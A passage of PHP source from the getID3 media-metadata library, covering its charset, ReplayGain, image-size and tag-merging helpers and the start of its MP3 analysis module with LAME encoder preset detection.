			$ConversionFunctionList['UTF-16BE']['ISO-8859-1'] = 'iconv_fallback_utf16be_iso88591';
			$ConversionFunctionList['UTF-16BE']['UTF-8']      = 'iconv_fallback_utf16be_utf8';
		}
		if (isset($ConversionFunctionList[strtoupper($in_charset)][strtoupper($out_charset)])) {
			$ConversionFunction = $ConversionFunctionList[strtoupper($in_charset)][strtoupper($out_charset)];
			return self::$ConversionFunction($string);
		}
		throw new Exception('PHP does not has mb_convert_encoding() or iconv() support - cannot convert from '.$in_charset.' to '.$out_charset);
	}

	public static function recursiveMultiByteCharString2HTML($data, $charset='ISO-8859-1') {
		if (is_string($data)) {
			return self::MultiByteCharString2HTML($data, $charset);
		} elseif (is_array($data)) {
			$return_data = array();
			foreach ($data as $key => $value) {
				$return_data[$key] = self::recursiveMultiByteCharString2HTML($value, $charset);
			}
			return $return_data;
		}
		// integer, float, objects, resources, etc
		return $data;
	}

	public static function MultiByteCharString2HTML($string, $charset='ISO-8859-1') {
		$string = (string) $string; // in case trying to pass a numeric (float, int) string, would otherwise return an empty string
		$HTMLstring = '';

		switch (strtolower($charset)) {
			case '1251':
			case '1252':
			case '866':
			case '932':
			case '936':
			case '950':
			case 'big5':
			case 'big5-hkscs':
			case 'cp1251':
			case 'cp1252':
			case 'cp866':
			case 'euc-jp':
			case 'eucjp':
			case 'gb2312':
			case 'ibm866':
			case 'iso-8859-1':
			case 'iso-8859-15':
			case 'iso8859-1':
			case 'iso8859-15':
			case 'koi8-r':
			case 'koi8-ru':
			case 'koi8r':
			case 'shift_jis':
			case 'sjis':
			case 'win-1251':
			case 'windows-1251':
			case 'windows-1252':
				$HTMLstring = htmlentities($string, ENT_COMPAT, $charset);
				break;

			case 'utf-8':
				$strlen = strlen($string);
				for ($i = 0; $i < $strlen; $i++) {
					$char_ord_val = ord($string{$i});
					$charval = 0;
					if ($char_ord_val < 0x80) {
						$charval = $char_ord_val;
					} elseif ((($char_ord_val & 0xF0) >> 4) == 0x0F  &&  $i+3 < $strlen) {
						$charval  = (($char_ord_val & 0x07) << 18);
						$charval += ((ord($string{++$i}) & 0x3F) << 12);
						$charval += ((ord($string{++$i}) & 0x3F) << 6);
						$charval +=  (ord($string{++$i}) & 0x3F);
					} elseif ((($char_ord_val & 0xE0) >> 5) == 0x07  &&  $i+2 < $strlen) {
						$charval  = (($char_ord_val & 0x0F) << 12);
						$charval += ((ord($string{++$i}) & 0x3F) << 6);
						$charval +=  (ord($string{++$i}) & 0x3F);
					} elseif ((($char_ord_val & 0xC0) >> 6) == 0x03  &&  $i+1 < $strlen) {
						$charval  = (($char_ord_val & 0x1F) << 6);
						$charval += (ord($string{++$i}) & 0x3F);
					}
					if (($charval >= 32) && ($charval <= 127)) {
						$HTMLstring .= htmlentities(chr($charval));
					} else {
						$HTMLstring .= '&#'.$charval.';';
					}
				}
				break;

			case 'utf-16le':
				for ($i = 0; $i < strlen($string); $i += 2) {
					$charval = self::LittleEndian2Int(substr($string, $i, 2));
					if (($charval >= 32) && ($charval <= 127)) {
						$HTMLstring .= chr($charval);
					} else {
						$HTMLstring .= '&#'.$charval.';';
					}
				}
				break;

			case 'utf-16be':
				for ($i = 0; $i < strlen($string); $i += 2) {
					$charval = self::BigEndian2Int(substr($string, $i, 2));
					if (($charval >= 32) && ($charval <= 127)) {
						$HTMLstring .= chr($charval);
					} else {
						$HTMLstring .= '&#'.$charval.';';
					}
				}
				break;

			default:
				$HTMLstring = 'ERROR: Character set "'.$charset.'" not supported in MultiByteCharString2HTML()';
				break;
		}
		return $HTMLstring;
	}



	public static function RGADnameLookup($namecode) {
		static $RGADname = array();
		if (empty($RGADname)) {
			$RGADname[0] = 'not set';
			$RGADname[1] = 'Track Gain Adjustment';
			$RGADname[2] = 'Album Gain Adjustment';
		}

		return (isset($RGADname[$namecode]) ? $RGADname[$namecode] : '');
	}


	public static function RGADoriginatorLookup($originatorcode) {
		static $RGADoriginator = array();
		if (empty($RGADoriginator)) {
			$RGADoriginator[0] = 'unspecified';
			$RGADoriginator[1] = 'pre-set by artist/producer/mastering engineer';
			$RGADoriginator[2] = 'set by user';
			$RGADoriginator[3] = 'determined automatically';
		}

		return (isset($RGADoriginator[$originatorcode]) ? $RGADoriginator[$originatorcode] : '');
	}


	public static function RGADadjustmentLookup($rawadjustment, $signbit) {
		$adjustment = $rawadjustment / 10;
		if ($signbit == 1) {
			$adjustment *= -1;
		}
		return (float) $adjustment;
	}


	public static function RGADgainString($namecode, $originatorcode, $replaygain) {
		if ($replaygain < 0) {
			$signbit = '1';
		} else {
			$signbit = '0';
		}
		$storedreplaygain = intval(round($replaygain * 10));
		$gainstring  = str_pad(decbin($namecode), 3, '0', STR_PAD_LEFT);
		$gainstring .= str_pad(decbin($originatorcode), 3, '0', STR_PAD_LEFT);
		$gainstring .= $signbit;
		$gainstring .= str_pad(decbin($storedreplaygain), 9, '0', STR_PAD_LEFT);

		return $gainstring;
	}

	public static function RGADamplitude2dB($amplitude) {
		return 20 * log10($amplitude);
	}


	public static function GetDataImageSize($imgData, &$imageinfo=array()) {
		static $tempdir = '';
		if (empty($tempdir)) {
			if (function_exists('sys_get_temp_dir')) {
				$tempdir = sys_get_temp_dir(); // https://github.com/JamesHeinrich/getID3/issues/52
			}

			// yes this is ugly, feel free to suggest a better way
			if (include_once(dirname(__FILE__).'/getid3.php')) {
				if ($getid3_temp = new getID3()) {
					if ($getid3_temp_tempdir = $getid3_temp->tempdir) {
						$tempdir = $getid3_temp_tempdir;
					}
					unset($getid3_temp, $getid3_temp_tempdir);
				}
			}
		}
		$GetDataImageSize = false;
		if ($tempfilename = tempnam($tempdir, 'gI3')) {
			if (is_writable($tempfilename) && is_file($tempfilename) && ($tmp = fopen($tempfilename, 'wb'))) {
				fwrite($tmp, $imgData);
				fclose($tmp);
				$GetDataImageSize = @getimagesize($tempfilename, $imageinfo);
				if (($GetDataImageSize === false) || !isset($GetDataImageSize[0]) || !isset($GetDataImageSize[1])) {
					return false;
				}
				$GetDataImageSize['height'] = $GetDataImageSize[0];
				$GetDataImageSize['width']  = $GetDataImageSize[1];
			}
			unlink($tempfilename);
		}
		return $GetDataImageSize;
	}

	public static function ImageExtFromMime($mime_type) {
		// temporary way, works OK for now, but should be reworked in the future
		return str_replace(array('image/', 'x-', 'jpeg'), array('', '', 'jpg'), $mime_type);
	}

	public static function ImageTypesLookup($imagetypeid) {
		static $ImageTypesLookup = array();
		if (empty($ImageTypesLookup)) {
			$ImageTypesLookup[1]  = 'gif';
			$ImageTypesLookup[2]  = 'jpeg';
			$ImageTypesLookup[3]  = 'png';
			$ImageTypesLookup[4]  = 'swf';
			$ImageTypesLookup[5]  = 'psd';
			$ImageTypesLookup[6]  = 'bmp';
			$ImageTypesLookup[7]  = 'tiff (little-endian)';
			$ImageTypesLookup[8]  = 'tiff (big-endian)';
			$ImageTypesLookup[9]  = 'jpc';
			$ImageTypesLookup[10] = 'jp2';
			$ImageTypesLookup[11] = 'jpx';
			$ImageTypesLookup[12] = 'jb2';
			$ImageTypesLookup[13] = 'swc';
			$ImageTypesLookup[14] = 'iff';
		}
		return (isset($ImageTypesLookup[$imagetypeid]) ? $ImageTypesLookup[$imagetypeid] : '');
	}

	public static function CopyTagsToComments(&$ThisFileInfo) {

		// Copy all entries from ['tags'] into common ['comments']
		if (!empty($ThisFileInfo['tags'])) {
			foreach ($ThisFileInfo['tags'] as $tagtype => $tagarray) {
				foreach ($tagarray as $tagname => $tagdata) {
					foreach ($tagdata as $key => $value) {
						if (!empty($value)) {
							if (empty($ThisFileInfo['comments'][$tagname])) {

								// fall through and append value

							} elseif ($tagtype == 'id3v1') {

								$newvaluelength = strlen(trim($value));
								foreach ($ThisFileInfo['comments'][$tagname] as $existingkey => $existingvalue) {
									$oldvaluelength = strlen(trim($existingvalue));
									if (($newvaluelength <= $oldvaluelength) && (substr($existingvalue, 0, $newvaluelength) == trim($value))) {
										// new value is identical but shorter-than (or equal-length to) one already in comments - skip
										break 2;
									}
								}

							} elseif (!is_array($value)) {

								$newvaluelength = strlen(trim($value));
								foreach ($ThisFileInfo['comments'][$tagname] as $existingkey => $existingvalue) {
									$oldvaluelength = strlen(trim($existingvalue));
									if ((strlen($existingvalue) > 10) && ($newvaluelength > $oldvaluelength) && (substr(trim($value), 0, strlen($existingvalue)) == $existingvalue)) {
										$ThisFileInfo['comments'][$tagname][$existingkey] = trim($value);
										//break 2;
										break;
									}
								}

							}
							if (is_array($value) || empty($ThisFileInfo['comments'][$tagname]) || !in_array(trim($value), $ThisFileInfo['comments'][$tagname])) {
								$value = (is_string($value) ? trim($value) : $value);
								if (!is_int($key) && !ctype_digit($key)) {
									$ThisFileInfo['comments'][$tagname][$key] = $value;
								} else {
									if (isset($ThisFileInfo['comments'][$tagname])) {
										$ThisFileInfo['comments'][$tagname] = array($value);
									} else {
										$ThisFileInfo['comments'][$tagname][] = $value;
									}
								}
							}
						}
					}
				}
			}

			// attempt to standardize spelling of returned keys
			$StandardizeFieldNames = array(
				'tracknumber' => 'track_number',
				'track'       => 'track_number',
			);
			foreach ($StandardizeFieldNames as $badkey => $goodkey) {
				if (array_key_exists($badkey, $ThisFileInfo['comments']) && !array_key_exists($goodkey, $ThisFileInfo['comments'])) {
					$ThisFileInfo['comments'][$goodkey] = $ThisFileInfo['comments'][$badkey];
					unset($ThisFileInfo['comments'][$badkey]);
				}
			}

			// Copy to ['comments_html']
			if (!empty($ThisFileInfo['comments'])) {
				foreach ($ThisFileInfo['comments'] as $field => $values) {
					if ($field == 'picture') {
						// pictures can take up a lot of space, and we don't need multiple copies of them
						// let there be a single copy in [comments][picture], and not elsewhere
						continue;
					}
					foreach ($values as $index => $value) {
						if (is_array($value)) {
							$ThisFileInfo['comments_html'][$field][$index] = $value;
						} else {
							$ThisFileInfo['comments_html'][$field][$index] = str_replace('&#0;', '', self::MultiByteCharString2HTML($value, $ThisFileInfo['encoding']));
						}
					}
				}
			}

		}
		return true;
	}


	public static function EmbeddedLookup($key, $begin, $end, $file, $name) {

		// Cached
		static $cache;
		if (isset($cache[$file][$name])) {
			return (isset($cache[$file][$name][$key]) ? $cache[$file][$name][$key] : '');
		}

		// Init
		$keylength  = strlen($key);
		$line_count = $end - $begin - 7;

		// Open php file
		$fp = fopen($file, 'r');

		// Discard $begin lines
		for ($i = 0; $i < ($begin + 3); $i++) {
			fgets($fp, 1024);
		}

		// Loop thru line
		while (0 < $line_count--) {

			// Read line
			$line = ltrim(fgets($fp, 1024), "\t ");

			// METHOD A: only cache the matching key - less memory but slower on next lookup of not-previously-looked-up key
			//$keycheck = substr($line, 0, $keylength);
			//if ($key == $keycheck)  {
			//	$cache[$file][$name][$keycheck] = substr($line, $keylength + 1);
			//	break;
			//}

			// METHOD B: cache all keys in this lookup - more memory but faster on next lookup of not-previously-looked-up key
			//$cache[$file][$name][substr($line, 0, $keylength)] = trim(substr($line, $keylength + 1));
			$explodedLine = explode("\t", $line, 2);
			$ThisKey   = (isset($explodedLine[0]) ? $explodedLine[0] : '');
			$ThisValue = (isset($explodedLine[1]) ? $explodedLine[1] : '');
			$cache[$file][$name][$ThisKey] = trim($ThisValue);
		}

		// Close and return
		fclose($fp);
		return (isset($cache[$file][$name][$key]) ? $cache[$file][$name][$key] : '');
	}

	public static function IncludeDependency($filename, $sourcefile, $DieOnFailure=false) {
		global $GETID3_ERRORARRAY;

		if (file_exists($filename)) {
			if (include_once($filename)) {
				return true;
			} else {
				$diemessage = basename($sourcefile).' depends on '.$filename.', which has errors';
			}
		} else {
			$diemessage = basename($sourcefile).' depends on '.$filename.', which is missing';
		}
		if ($DieOnFailure) {
			throw new Exception($diemessage);
		} else {
			$GETID3_ERRORARRAY[] = $diemessage;
		}
		return false;
	}

	public static function trimNullByte($string) {
		return trim($string, "\x00");
	}

	public static function getFileSizeSyscall($path) {
		$filesize = false;

		if (GETID3_OS_ISWINDOWS) {
			if (class_exists('COM')) { // From PHP 5.3.15 and 5.4.5, COM and DOTNET is no longer built into the php core.you have to add COM support in php.ini:
				$filesystem = new COM('Scripting.FileSystemObject');
				$file = $filesystem->GetFile($path);
				$filesize = $file->Size();
				unset($filesystem, $file);
			} else {
				$commandline = 'for %I in ('.escapeshellarg($path).') do @echo %~zI';
			}
		} else {
			$commandline = 'ls -l '.escapeshellarg($path).' | awk \'{print $5}\'';
		}
		if (isset($commandline)) {
			$output = trim(`$commandline`);
			if (ctype_digit($output)) {
				$filesize = (float) $output;
			}
		}
		return $filesize;
	}


	/**
	* Workaround for Bug #37268 (https://bugs.php.net/bug.php?id=37268)
	* @param string $path A path.
	* @param string $suffix If the name component ends in suffix this will also be cut off.
	* @return string
	*/
	public static function mb_basename($path, $suffix = null) {
		$splited = preg_split('#/#', rtrim($path, '/ '));
		return substr(basename('X'.$splited[count($splited) - 1], $suffix), 1);
	}

}
editor/libraries/classes/vendor/getid3/getid3/module.audio.mp3.php000060400000302540150750527150021101 0ustar00<?php
/////////////////////////////////////////////////////////////////
/// getID3() by James Heinrich <info@getid3.org>               //
//  available at http://getid3.sourceforge.net                 //
//            or http://www.getid3.org                         //
//          also https://github.com/JamesHeinrich/getID3       //
/////////////////////////////////////////////////////////////////
// See readme.txt for more details                             //
/////////////////////////////////////////////////////////////////
//                                                             //
// module.audio.mp3.php                                        //
// module for analyzing MP3 files                              //
// dependencies: NONE                                          //
//                                                            ///
/////////////////////////////////////////////////////////////////


// number of frames to scan to determine if MPEG-audio sequence is valid
// Lower this number to 5-20 for faster scanning
// Increase this number to 50+ for most accurate detection of valid VBR/CBR
// mpeg-audio streams
define('GETID3_MP3_VALID_CHECK_FRAMES', 35);


class getid3_mp3 extends getid3_handler
{

	public $allow_bruteforce = false; // forces getID3() to scan the file byte-by-byte and log all the valid audio frame headers - extremely slow, unrecommended, but may provide data from otherwise-unusuable files

	public function Analyze() {
		$info = &$this->getid3->info;

		$initialOffset = $info['avdataoffset'];

		if (!$this->getOnlyMPEGaudioInfo($info['avdataoffset'])) {
			if ($this->allow_bruteforce) {
				$this->error('Rescanning file in BruteForce mode');
				$this->getOnlyMPEGaudioInfoBruteForce($this->getid3->fp, $info);
			}
		}


		if (isset($info['mpeg']['audio']['bitrate_mode'])) {
			$info['audio']['bitrate_mode'] = strtolower($info['mpeg']['audio']['bitrate_mode']);
		}

		if (((isset($info['id3v2']['headerlength']) && ($info['avdataoffset'] > $info['id3v2']['headerlength'])) || (!isset($info['id3v2']) && ($info['avdataoffset'] > 0) && ($info['avdataoffset'] != $initialOffset)))) {

			$synchoffsetwarning = 'Unknown data before synch ';
			if (isset($info['id3v2']['headerlength'])) {
				$synchoffsetwarning .= '(ID3v2 header ends at '.$info['id3v2']['headerlength'].', then '.($info['avdataoffset'] - $info['id3v2']['headerlength']).' bytes garbage, ';
			} elseif ($initialOffset > 0) {
				$synchoffsetwarning .= '(should be at '.$initialOffset.', ';
			} else {
				$synchoffsetwarning .= '(should be at beginning of file, ';
			}
			$synchoffsetwarning .= 'synch detected at '.$info['avdataoffset'].')';
			if (isset($info['audio']['bitrate_mode']) && ($info['audio']['bitrate_mode'] == 'cbr')) {

				if (!empty($info['id3v2']['headerlength']) && (($info['avdataoffset'] - $info['id3v2']['headerlength']) == $info['mpeg']['audio']['framelength'])) {

					$synchoffsetwarning .= '. This is a known problem with some versions of LAME (3.90-3.92) DLL in CBR mode.';
					$info['audio']['codec'] = 'LAME';
					$CurrentDataLAMEversionString = 'LAME3.';

				} elseif (empty($info['id3v2']['headerlength']) && ($info['avdataoffset'] == $info['mpeg']['audio']['framelength'])) {

					$synchoffsetwarning .= '. This is a known problem with some versions of LAME (3.90 - 3.92) DLL in CBR mode.';
					$info['audio']['codec'] = 'LAME';
					$CurrentDataLAMEversionString = 'LAME3.';

				}

			}
			$this->warning($synchoffsetwarning);

		}

		if (isset($info['mpeg']['audio']['LAME'])) {
			$info['audio']['codec'] = 'LAME';
			if (!empty($info['mpeg']['audio']['LAME']['long_version'])) {
				$info['audio']['encoder'] = rtrim($info['mpeg']['audio']['LAME']['long_version'], "\x00");
			} elseif (!empty($info['mpeg']['audio']['LAME']['short_version'])) {
				$info['audio']['encoder'] = rtrim($info['mpeg']['audio']['LAME']['short_version'], "\x00");
			}
		}

		$CurrentDataLAMEversionString = (!empty($CurrentDataLAMEversionString) ? $CurrentDataLAMEversionString : (isset($info['audio']['encoder']) ? $info['audio']['encoder'] : ''));
		if (!empty($CurrentDataLAMEversionString) && (substr($CurrentDataLAMEversionString, 0, 6) == 'LAME3.') && !preg_match('[0-9\)]', substr($CurrentDataLAMEversionString, -1))) {
			// a version number of LAME that does not end with a number like "LAME3.92"
			// or with a closing parenthesis like "LAME3.88 (alpha)"
			// or a version of LAME with the LAMEtag-not-filled-in-DLL-mode bug (3.90-3.92)

			// not sure what the actual last frame length will be, but will be less than or equal to 1441
			$PossiblyLongerLAMEversion_FrameLength = 1441;

			// Not sure what version of LAME this is - look in padding of last frame for longer version string
			$PossibleLAMEversionStringOffset = $info['avdataend'] - $PossiblyLongerLAMEversion_FrameLength;
			$this->fseek($PossibleLAMEversionStringOffset);
			$PossiblyLongerLAMEversion_Data = $this->fread($PossiblyLongerLAMEversion_FrameLength);
			switch (substr($CurrentDataLAMEversionString, -1)) {
				case 'a':
				case 'b':
					// "LAME3.94a" will have a longer version string of "LAME3.94 (alpha)" for example
					// need to trim off "a" to match longer string
					$CurrentDataLAMEversionString = substr($CurrentDataLAMEversionString, 0, -1);
					break;
			}
			if (($PossiblyLongerLAMEversion_String = strstr($PossiblyLongerLAMEversion_Data, $CurrentDataLAMEversionString)) !== false) {
				if (substr($PossiblyLongerLAMEversion_String, 0, strlen($CurrentDataLAMEversionString)) == $CurrentDataLAMEversionString) {
					$PossiblyLongerLAMEversion_NewString = substr($PossiblyLongerLAMEversion_String, 0, strspn($PossiblyLongerLAMEversion_String, 'LAME0123456789., (abcdefghijklmnopqrstuvwxyzJFSOND)')); //"LAME3.90.3"  "LAME3.87 (beta 1, Sep 27 2000)" "LAME3.88 (beta)"
					if (empty($info['audio']['encoder']) || (strlen($PossiblyLongerLAMEversion_NewString) > strlen($info['audio']['encoder']))) {
						$info['audio']['encoder'] = $PossiblyLongerLAMEversion_NewString;
					}
				}
			}
		}
		if (!empty($info['audio']['encoder'])) {
			$info['audio']['encoder'] = rtrim($info['audio']['encoder'], "\x00 ");
		}

		switch (isset($info['mpeg']['audio']['layer']) ? $info['mpeg']['audio']['layer'] : '') {
			case 1:
			case 2:
				$info['audio']['dataformat'] = 'mp'.$info['mpeg']['audio']['layer'];
				break;
		}
		if (isset($info['fileformat']) && ($info['fileformat'] == 'mp3')) {
			switch ($info['audio']['dataformat']) {
				case 'mp1':
				case 'mp2':
				case 'mp3':
					$info['fileformat'] = $info['audio']['dataformat'];
					break;

				default:
					$this->warning('Expecting [audio][dataformat] to be mp1/mp2/mp3 when fileformat == mp3, [audio][dataformat] actually "'.$info['audio']['dataformat'].'"');
					break;
			}
		}

		if (empty($info['fileformat'])) {
			unset($info['fileformat']);
			unset($info['audio']['bitrate_mode']);
			unset($info['avdataoffset']);
			unset($info['avdataend']);
			return false;
		}

		$info['mime_type']         = 'audio/mpeg';
		$info['audio']['lossless'] = false;

		// Calculate playtime
		if (!isset($info['playtime_seconds']) && isset($info['audio']['bitrate']) && ($info['audio']['bitrate'] > 0)) {
			$info['playtime_seconds'] = ($info['avdataend'] - $info['avdataoffset']) * 8 / $info['audio']['bitrate'];
		}

		$info['audio']['encoder_options'] = $this->GuessEncoderOptions();

		return true;
	}


	public function GuessEncoderOptions() {
		// shortcuts
		$info = &$this->getid3->info;
		if (!empty($info['mpeg']['audio'])) {
			$thisfile_mpeg_audio = &$info['mpeg']['audio'];
			if (!empty($thisfile_mpeg_audio['LAME'])) {
				$thisfile_mpeg_audio_lame = &$thisfile_mpeg_audio['LAME'];
			}
		}

		$encoder_options = '';
		static $NamedPresetBitrates = array(16, 24, 40, 56, 112, 128, 160, 192, 256);

		if (isset($thisfile_mpeg_audio['VBR_method']) && ($thisfile_mpeg_audio['VBR_method'] == 'Fraunhofer') && !empty($thisfile_mpeg_audio['VBR_quality'])) {

			$encoder_options = 'VBR q'.$thisfile_mpeg_audio['VBR_quality'];

		} elseif (!empty($thisfile_mpeg_audio_lame['preset_used']) && (!in_array($thisfile_mpeg_audio_lame['preset_used_id'], $NamedPresetBitrates))) {

			$encoder_options = $thisfile_mpeg_audio_lame['preset_used'];

		} elseif (!empty($thisfile_mpeg_audio_lame['vbr_quality'])) {

			static $KnownEncoderValues = array();
			if (empty($KnownEncoderValues)) {

				//$KnownEncoderValues[abrbitrate_minbitrate][vbr_quality][raw_vbr_method][raw_noise_shaping][raw_stereo_mode][ath_type][lowpass_frequency] = 'preset name';
				$KnownEncoderValues[0xFF][58][1][1][3][2][20500] = '--alt-preset insane';        // 3.90,   3.90.1, 3.92
				$KnownEncoderValues[0xFF][58][1][1][3][2][20600] = '--alt-preset insane';        // 3.90.2, 3.90.3, 3.91
				$KnownEncoderValues[0xFF][57][1][1][3][4][20500] = '--alt-preset insane';        // 3.94,   3.95
				$KnownEncoderValues['**'][78][3][2][3][2][19500] = '--alt-preset extreme';       // 3.90,   3.90.1, 3.92
				$KnownEncoderValues['**'][78][3][2][3][2][19600] = '--alt-preset extreme';       // 3.90.2, 3.91
				$KnownEncoderValues['**'][78][3][1][3][2][19600] = '--alt-preset extreme';       // 3.90.3
				$KnownEncoderValues['**'][78][4][2][3][2][19500] = '--alt-preset fast extreme';  // 3.90,   3.90.1, 3.92
				$KnownEncoderValues['**'][78][4][2][3][2][19600] = '--alt-preset fast extreme';  // 3.90.2, 3.90.3, 3.91
				$KnownEncoderValues['**'][78][3][2][3][4][19000] = '--alt-preset standard';      // 3.90,   3.90.1, 3.90.2, 3.91, 3.92
				$KnownEncoderValues['**'][78][3][1][3][4][19000] = '--alt-preset standard';      // 3.90.3
				$KnownEncoderValues['**'][78][4][2][3][4][19000] = '--alt-preset fast standard'; // 3.90,   3.90.1, 3.90.2, 3.91, 3.92
				$KnownEncoderValues['**'][78][4][1][3][4][19000] = '--alt-preset fast standard'; // 3.90.3
				$KnownEncoderValues['**'][88][4][1][3][3][19500] = '--r3mix';                    // 3.90,   3.90.1, 3.92
				$KnownEncoderValues['**'][88][4][1][3][3][19600] = '--r3mix';                    // 3.90.2, 3.90.3, 3.91
				$KnownEncoderValues['**'][67][4][1][3][4][18000] = '--r3mix';                    // 3.94,   3.95
				$KnownEncoderValues['**'][68][3][2][3][4][18000] = '--alt-preset medium';        // 3.90.3
				$KnownEncoderValues['**'][68][4][2][3][4][18000] = '--alt-preset fast medium';   // 3.90.3

				$KnownEncoderValues[0xFF][99][1][1][1][2][0]     = '--preset studio';            // 3.90,   3.90.1, 3.90.2, 3.91, 3.92
				$KnownEncoderValues[0xFF][58][2][1][3][2][20600] = '--preset studio';            // 3.90.3, 3.93.1
				$KnownEncoderValues[0xFF][58][2][1][3][2][20500] = '--preset studio';            // 3.93
				$KnownEncoderValues[0xFF][57][2][1][3][4][20500] = '--preset studio';            // 3.94,   3.95
				$KnownEncoderValues[0xC0][88][1][1][1][2][0]     = '--preset cd';                // 3.90,   3.90.1, 3.90.2,   3.91, 3.92
				$KnownEncoderValues[0xC0][58][2][2][3][2][19600] = '--preset cd';                // 3.90.3, 3.93.1
				$KnownEncoderValues[0xC0][58][2][2][3][2][19500] = '--preset cd';                // 3.93
				$KnownEncoderValues[0xC0][57][2][1][3][4][19500] = '--preset cd';                // 3.94,   3.95
				$KnownEncoderValues[0xA0][78][1][1][3][2][18000] = '--preset hifi';              // 3.90,   3.90.1, 3.90.2,   3.91, 3.92
				$KnownEncoderValues[0xA0][58][2][2][3][2][18000] = '--preset hifi';              // 3.90.3, 3.93,   3.93.1
				$KnownEncoderValues[0xA0][57][2][1][3][4][18000] = '--preset hifi';              // 3.94,   3.95
				$KnownEncoderValues[0x80][67][1][1][3][2][18000] = '--preset tape';              // 3.90,   3.90.1, 3.90.2,   3.91, 3.92
				$KnownEncoderValues[0x80][67][1][1][3][2][15000] = '--preset radio';             // 3.90,   3.90.1, 3.90.2,   3.91, 3.92
				$KnownEncoderValues[0x70][67][1][1][3][2][15000] = '--preset fm';                // 3.90,   3.90.1, 3.90.2,   3.91, 3.92
				$KnownEncoderValues[0x70][58][2][2][3][2][16000] = '--preset tape/radio/fm';     // 3.90.3, 3.93,   3.93.1
				$KnownEncoderValues[0x70][57][2][1][3][4][16000] = '--preset tape/radio/fm';     // 3.94,   3.95
				$KnownEncoderValues[0x38][58][2][2][0][2][10000] = '--preset voice';             // 3.90.3, 3.93,   3.93.1
				$KnownEncoderValues[0x38][57][2][1][0][4][15000] = '--preset voice';             // 3.94,   3.95
				$KnownEncoderValues[0x38][57][2][1][0][4][16000] = '--preset voice';             // 3.94a14
				$KnownEncoderValues[0x28][65][1][1][0][2][7500]  = '--preset mw-us';             // 3.90,   3.90.1, 3.92
				$KnownEncoderValues[0x28][65][1][1][0][2][7600]  = '--preset mw-us';             // 3.90.2, 3.91
				$KnownEncoderValues[0x28][58][2][2][0][2][7000]  = '--preset mw-us';             // 3.90.3, 3.93,   3.93.1
				$KnownEncoderValues[0x28][57][2][1][0][4][10500] = '--preset mw-us';             // 3.94,   3.95
				$KnownEncoderValues[0x28][57][2][1][0][4][11200] = '--preset mw-us';             // 3.94a14
				$KnownEncoderValues[0x28][57][2][1][0][4][8800]  = '--preset mw-us';             // 3.94a15
				$KnownEncoderValues[0x18][58][2][2][0][2][4000]  = '--preset phon+/lw/mw-eu/sw'; // 3.90.3, 3.93.1
				$KnownEncoderValues[0x18][58][2][2][0][2][3900]  = '--preset phon+/lw/mw-eu/sw'; // 3.93
				$KnownEncoderValues[0x18][57][2][1][0][4][5900]  = '--preset phon+/lw/mw-eu/sw'; // 3.94,   3.95
				$KnownEncoderValues[0x18][57][2][1][0][4][6200]  = '--preset phon+/lw/mw-eu/sw'; // 3.94a14
				$KnownEncoderValues[0x18][57][2][1][0][4][3200]  = '--preset phon+/lw/mw-eu/sw'; // 3.94a15
				$KnownEncoderValues[0x10][58][2][2][0][2][3800]  = '--preset phone';             // 3.90.3, 3.93.1
				$KnownEncoderValues[0x10][58][2][2][0][2][3700]  = '--preset phone';             // 3.93
				$KnownEncoderValues[0x10][57][2][1][0][4][5600]  = '--preset phone';             // 3.94,   3.95
			}

			if (isset($KnownEncoderValues[$thisfile_mpeg_audio_lame['raw']['abrbitrate_minbitrate']][$thisfile_mpeg_audio_lame['vbr_quality']][$thisfile_mpeg_audio_lame['raw']['vbr_method']][$thisfile_mpeg_audio_lame['raw']['noise_shaping']][$thisfile_mpeg_audio_lame['raw']['stereo_mode']][$thisfile_mpeg_audio_lame['ath_type']][$thisfile_mpeg_audio_lame['lowpass_frequency']])) {

				$encoder_options = $KnownEncoderValues[$thisfile_mpeg_audio_lame['raw']['abrbitrate_minbitrate']][$thisfile_mpeg_audio_lame['vbr_quality']][$thisfile_mpeg_audio_lame['raw']['vbr_method']][$thisfile_mpeg_audio_lame['raw']['noise_shaping']][$thisfile_mpeg_audio_lame['raw']['stereo_mode']][$thisfile_mpeg_audio_lame['ath_type']][$thisfile_mpeg_audio_lame['lowpass_frequency']];

			} elseif (isset($KnownEncoderValues['**'][$thisfile_mpeg_audio_lame['vbr_quality']][$thisfile_mpeg_audio_lame['raw']['vbr_method']][$thisfile_mpeg_audio_lame['raw']['noise_shaping']][$thisfile_mpeg_audio_lame['raw']['stereo_mode']][$thisfile_mpeg_audio_lame['ath_type']][$thisfile_mpeg_audio_lame['lowpass_frequency']])) {

				$encoder_options = $KnownEncoderValues['**'][$thisfile_mpeg_audio_lame['vbr_quality']][$thisfile_mpeg_audio_lame['raw']['vbr_method']][$thisfile_mpeg_audio_lame['raw']['noise_shaping']][$thisfile_mpeg_audio_lame['raw']['stereo_mode']][$thisfile_mpeg_audio_lame['ath_type']][$thisfile_mpeg_audio_lame['lowpass_frequency']];

			} elseif ($info['audio']['bitrate_mode'] == 'vbr') {

				// http://gabriel.mp3-tech.org/mp3infotag.html
				// int    Quality = (100 - 10 * gfp->VBR_q - gfp->quality)h


				$LAME_V_value = 10 - ceil($thisfile_mpeg_audio_lame['vbr_quality'] / 10);
				$LAME_q_value = 100 - $thisfile_mpeg_audio_lame['vbr_quality'] - ($LAME_V_value * 10);
				$encoder_options = '-V'.$LAME_V_value.' -q'.$LAME_q_value;

			} elseif ($info['audio']['bitrate_mode'] == 'cbr') {

				$encoder_options = strtoupper($info['audio']['bitrate_mode']).ceil($info['audio']['bitrate'] / 1000);

			} else {

				$encoder_options = strtoupper($info['audio']['bitrate_mode']);

			}

		} elseif (!empty($thisfile_mpeg_audio_lame['bitrate_abr'])) {

			$encoder_options = 'ABR'.$thisfile_mpeg_audio_lame['bitrate_abr'];

		} elseif (!empty($info['audio']['bitrate'])) {

			if ($info['audio']['bitrate_mode'] == 'cbr') {
				$encoder_options = strtoupper($info['audio']['bitrate_mode']).ceil($info['audio']['bitrate'] / 1000);
			} else {
				$encoder_options = strtoupper($info['audio']['bitrate_mode']);
			}

		}
		if (!empty($thisfile_mpeg_audio_lame['bitrate_min'])) {
			$encoder_options .= ' -b'.$thisfile_mpeg_audio_lame['bitrate_min'];
		}

		if (!empty($thisfile_mpeg_audio_lame['encoding_flags']['nogap_prev']) || !empty($thisfile_mpeg_audio_lame['encoding_flags']['nogap_next'])) {
			$encoder_options .= ' --nogap';
		}

		if (!empty($thisfile_mpeg_audio_lame['lowpass_frequency'])) {
			$ExplodedOptions = explode(' ', $encoder_options, 4);
			if ($ExplodedOptions[0] == '--r3mix') {
				$ExplodedOptions[1] = 'r3mix';
			}
			switch ($ExplodedOptions[0]) {
				case '--preset':
